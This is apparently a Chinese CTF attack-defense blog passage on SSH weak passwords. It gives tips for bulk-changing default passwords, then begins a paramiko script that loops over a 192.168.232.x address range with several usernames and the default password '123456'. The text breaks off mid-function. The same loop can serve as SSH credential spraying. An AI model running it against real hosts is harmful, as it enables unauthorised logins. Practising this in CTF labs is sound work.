ctf之AWD(1) ssh弱口令
批量修改ssh初始密码
要点
passwd的--stdin参数ubuntu不支持,chpasswd命令需要root权限
echo "root" |passwd --stdin apache
- 更改密码用
sh -c passwd
命令,不直接用passwd
- 控制初始登录ssh的欢迎banner
- 控制收发包速度和
CRLF
,通过jupyter
快速调试 - git
paramiko
源码 ,查看example和doc
git clone https://github.com/paramiko/paramiko.git
pexpect
库的pexpect.spawn
在Windows不可用Python自动化运维:技术与最佳实践:
https://github.com/sv4us/ebook/tree/master/python
python3 script
# -*- coding:utf-8 -*-
import paramiko
import time
import queue
'''
passwd的--stdin参数ubuntu不支持
chpasswd
joe:abcdef
echo "root" |passwd --stdin apache
'''
USER = ['root', 'apache', 'root1', 'ctf', 'student']
PASSWORD_SSH = '123456'
PASSWORD_NEW = 'aser1234..'
COLOR_GREEN = '\033[1;32;40m'
COLOR_RED = '\033[1;31;40m'
def get_ip(ip1, ip2):
ipaddr_queue = queue.Queue()
for i in range(int(ip1), int(ip2)):
full_ip = '192.168.232.' + str(i)
ipaddr_queue.put(full_ip)
return ipaddr_queue
def write_ip